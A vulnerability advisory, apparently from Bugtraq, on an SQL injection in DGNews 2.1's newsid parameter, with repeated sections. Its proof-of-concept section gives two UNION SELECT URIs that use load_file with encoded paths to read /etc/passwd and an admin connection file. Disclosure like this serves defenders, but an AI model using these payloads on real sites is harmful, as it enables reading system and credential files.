DGNews NewsID Parameter SQL Injection Vulnerability
BID:24212
Info
DGNews NewsID Parameter SQL Injection Vulnerability
| Bugtraq ID: | 24212 |
| Class: | Input Validation Error |
| CVE: |
CVE-2007-2994 |
| Remote: | Yes |
| Local: | No |
| Published: | May 28 2007 12:00AM |
| Updated: | May 07 2015 05:37PM |
| Credit: | Laurent Gaffié is credited with the discovery of this vulnerability. |
| Vulnerable: |
Dian Gemilang DGNews 2.1 |
| Not Vulnerable: | |
Discussion
DGNews NewsID Parameter SQL Injection Vulnerability
DGNews is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
Successful exploits could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
DGNews 2.1 is reported vulnerable; other versions may also be affected.
DGNews is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
Successful exploits could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
DGNews 2.1 is reported vulnerable; other versions may also be affected.
Exploit / POC
DGNews NewsID Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following proof-of-concept URIs are available:
http://www.example.com/news.php?go=fullnews&newsid=-9+union+select+1,2,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),4,5,6,7%20from%2
0news_comment
http://www.example.com/news.php?go=fullnews&newsid=-9+union+select+1,2,load_file(0x2F7573722F6C6F63616C2F617061636865322F6874646F63732F64676E657
7732F61646D696E2F636F6E6E2E706870),4,5,6,7%20from%20news_comment
Attackers can use a browser to exploit this issue.
The following proof-of-concept URIs are available:
http://www.example.com/news.php?go=fullnews&newsid=-9+union+select+1,2,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),4,5,6,7%20from%2
0news_comment
http://www.example.com/news.php?go=fullnews&newsid=-9+union+select+1,2,load_file(0x2F7573722F6C6F63616C2F617061636865322F6874646F63732F64676E657
7732F61646D696E2F636F6E6E2E706870),4,5,6,7%20from%20news_comment
Solution / Fix
DGNews NewsID Parameter SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
DGNews NewsID Parameter SQL Injection Vulnerability
References:
References: